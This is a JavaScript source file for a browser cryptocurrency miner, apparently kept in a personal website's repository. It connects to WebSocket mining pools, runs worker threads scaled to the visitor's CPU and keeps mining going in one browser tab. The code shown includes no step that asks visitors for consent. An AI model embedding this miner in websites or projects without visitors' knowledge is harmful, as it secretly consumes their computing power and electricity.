Files
personal_website/miner/src/js/miner.js
T

368 lines
10 KiB
JavaScript

// miner/src/js/miner.js
import Job from './job'
import MineWorker from './mine-worker'
class Miner {
constructor (user, options) {
options = options || {}
this._user = user
this._threads = []
this._hashes = 0
this._currentJob = null
this._autoReconnect = true
this._reconnectRetry = 3
this._totalHashesFromDeadThreads = 0
this._throttle = Math.max(0, Math.min(.99, options.throttle || 0))
this._autoThreads = {
enabled: !!options.autoThreads,
interval: null,
adjustAt: null,
adjustEvery: 1e4,
stats: {}
}
this._tab = {
ident: 16777215 * Math.random() | 0,
mode: Job.IF_EXCLUSIVE_TAB,
grace: 0,
lastPingReceived: 0,
interval: null
}
if (window.BroadcastChannel) try {
this._bc = new BroadcastChannel('wrxminer')
this._bc.onmessage = function (response) {
if (response.data === 'ping') {
this._tab.lastPingReceived = Date.now()
}
}.bind(this)
} catch (error) {}
this._eventListeners = {
open: [],
authed: [],
close: [],
error: [],
job: [],
found: [],
accepted: []
}
const concurrency = navigator.hardwareConcurrency || 4
this._targetNumThreads = options.threads || concurrency
this._onTargetMetBound = this._onTargetMet.bind(this)
}
start (mode) {
this._tab.mode = mode || Job.IF_EXCLUSIVE_TAB
if (this._tab.interval) {
clearInterval(this._tab.interval)
this._tab.interval = null
}
this._startNow()
}
stop (message) {
for (let i = 0; i < this._threads.length; ++i) {
this._totalHashesFromDeadThreads += this._threads[i].hashesTotal
this._threads[i].stop()
}
this._threads = []
this._autoReconnect = false
this._currentJob = null
if (this._socket) {
this._socket.close()
}
if (this._autoThreads.interval) {
clearInterval(this._autoThreads.interval)
this._autoThreads.interval = null
}
if (this._tab.interval && message !== 'dontKillTabUpdate') {
clearInterval(this._tab.interval)
this._tab.interval = null
}
}
getHashesPerSecond () {
let sum = 0
for (let i = 0; i < this._threads.length; ++i)
sum += this._threads[i].hashesPerSecond
return sum
}
getTotalHashes () {
let currentTimestamp = Date.now(),
sum = this._totalHashesFromDeadThreads
for (let i = 0; i < this._threads.length; ++i) {
let thread = this._threads[i]
sum += thread.hashesTotal
}
return 0 | sum
}
getAcceptedHashes () {
return this._hashes
}
on (event, callback) {
if (this._eventListeners[event]) {
this._eventListeners[event].push(callback)
}
}
getAutoThreadsEnabled () {
return this._autoThreads.enabled
}
setAutoThreadsEnabled (enabled) {
this._autoThreads.enabled = !!enabled
if (!enabled && this._autoThreads.interval) {
clearInterval(this._autoThreads.interval)
this._autoThreads.interval = null
} else if (enabled && !this._autoThreads.interval) {
this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery
this._autoThreads.interval = setInterval(this._adjustThreads.bind(this), 1e3)
}
}
getThrottle () {
return this._throttle
}
setThrottle (throttle) {
this._throttle = Math.max(0, Math.min(.99, throttle))
if (this._currentJob) {
this._setJob(this._currentJob)
}
}
getNumThreads () {
return this._threads.length
}
setNumThreads (numThreads) {
numThreads = Math.max(1, 0 | numThreads)
if ((this._targetNumThreads = numThreads) > this._threads.length) {
while (numThreads > this._threads.length) {
let t = new MineWorker
if (this._currentJob) {
t.setJob(this._currentJob, this._onTargetMetBound)
}
this._threads.push(t)
}
} else if (numThreads < this._threads.length) {
while (numThreads < this._threads.length) {
let t = this._threads.pop()
this._totalHashesFromDeadThreads += t.hashesTotal
t.stop()
}
}
}
isRunning () {
// return 0 < this._threads.length
if (!this._socket) {
return false
}
if (this._socket.readyState == WebSocket.CLOSED || this._socket.readyState == WebSocket.CLOSING) {
return false
}
return true
}
_startNow () {
if (this._tab.mode !== Job.FORCE_MULTI_TAB && !this._tab.interval) {
this._tab.interval = setInterval(this._updateTabs.bind(this), 1e3)
}
if (this._tab.mode !== Job.IF_EXCLUSIVE_TAB || !this._otherTabRunning()) {
if (this._tab.mode === Job.FORCE_EXCLUSIVE_TAB) {
this._tab.grace = Date.now() + 3e3
}
this.setNumThreads(this._targetNumThreads)
this._autoReconnect = true
this._connect()
}
}
_otherTabRunning () {
if (this._tab.lastPingReceived > Date.now() - 1500) {
return true
}
try {
let currentMiner = localStorage.getItem('wrxminer')
if (currentMiner) {
const t = JSON.parse(currentMiner)
if (t.ident !== this._tab.ident && Date.now() - t.time < 1500) {
return true
}
}
} catch (error) {}
return false
}
_updateTabs () {
const flag = this._otherTabRunning()
if (flag && this.isRunning() && Date.now() > this._tab.grace) {
this.stop('dontKillTabUpdate')
} else if (!flag && !this.isRunning()) {
this._startNow()
}
if (this.isRunning()) {
if (this._bc) {
this._bc.postMessage('ping')
}
try {
localStorage.setItem('wrxminer', JSON.stringify({
ident: this._tab.ident,
time: Date.now()
}))
} catch (error) {}
}
}
_adjustThreads () {
const hashPerSecond = this.getHashesPerSecond(), numThreads = this.getNumThreads()
let threadStats = this._autoThreads.stats
threadStats[numThreads] = threadStats[numThreads] ? .5 * threadStats[numThreads] + .5 * hashPerSecond : hashPerSecond
if (Date.now() > this._autoThreads.adjustAt) {
this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery
const cur = (threadStats[numThreads] || 0) - 1,
next = threadStats[numThreads + 1] || 0,
prev = threadStats[numThreads - 1] || 0
if (prev < cur && (0 === next || cur < next) && numThreads < 16) return this.setNumThreads(numThreads + 1)
if (next < cur && (!prev || cur < prev) && 1 < numThreads) return this.setNumThreads(numThreads - 1)
}
}
_emit (event, params) {
const listeners = this._eventListeners[event]
if (listeners && listeners.length) {
for (let i = 0; i < listeners.length; ++i) {
listeners[i](params)
}
}
}
// djb2 hash
// http://www.cse.yorku.ca/~oz/hash.html
_hashString (str) {
let hash = 5381, l = str.length
while (l) {
hash = 33 * hash ^ str.charCodeAt(--l)
}
return hash >>> 0
}
_connect () {
if (!this._socket) {
const shards = Job.CONFIG.WEBSOCKET_SHARDS
let index = Math.floor(Math.random() * shards.length)
const shard = shards[index]
const url = shard[Math.random() * shard.length | 0]
this._socket = new WebSocket(url)
this._socket.onmessage = this._onMessage.bind(this)
this._socket.onerror = this._onError.bind(this)
this._socket.onclose = this._onClose.bind(this)
this._socket.onopen = this._onOpen.bind(this)
}
}
_onOpen () {
this._emit('open')
let data = {
type: this._user ? 'user' : 'anonymous',
user: this._user ? this._user.toString() : null
}
this._send('auth', data)
}
_onClose (response) {
// https://github.com/Luka967/websocket-close-codes
if (response.code >= 1003 && response.code <= 1009) {
this._reconnectRetry = 60
}
for (let i = 0; i < this._threads.length; ++i) {
this._threads[i].stop()
}
this._threads = []
this._socket = null
this._emit('close')
if (this._autoReconnect) {
setTimeout(this._startNow.bind(this), 1e3 * this._reconnectRetry)
}
}
_onMessage (response) {
const data = JSON.parse(response.data)
switch(data.type) {
case 'job':
this._setJob(data.params)
this._emit('job', data.params)
if (this._autoThreads.enabled && !this._autoThreads.interval) {
this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery
this._autoThreads.interval = setInterval(this._adjustThreads.bind(this), 1e3)
}
break
case 'hash_accepted':
this._hashes = data.params.hashes
this._emit('accepted', data.params)
break
case 'authed':
this._hashes = data.params.hashes || 0
this._emit('authed', data.params)
this._reconnectRetry = 3
break
case 'error':
if (console && console.error) {
console.error('WRXMiner Error:', data.params.error)
}
this._emit('error', data.params)
break
case 'banned':
this._emit('error', {
banned: true
})
this._reconnectRetry = 600
break
default:
break
}
}
_onError (response) {
this._emit('error', {
error: 'connection_error'
})
this._onClose(response)
}
_onTargetMet (job) {
this._emit('found', job)
if (job.job_id === this._currentJob.job_id) {
this._send('submit', {
job_id: job.job_id,
nonce: job.nonce,
result: job.result
})
}
}
_send (type, params) {
if (this._socket) {
const data = {
type: type,
params: params || {}
}
this._socket.send(JSON.stringify(data))
}
}
_setJob (job) {
this._currentJob = job
this._currentJob.throttle = this._throttle
for (let i = 0; i < this._threads.length; ++i) {
this._threads[i].setJob(job, this._onTargetMetBound)
}
}
}
export {
Miner as default
}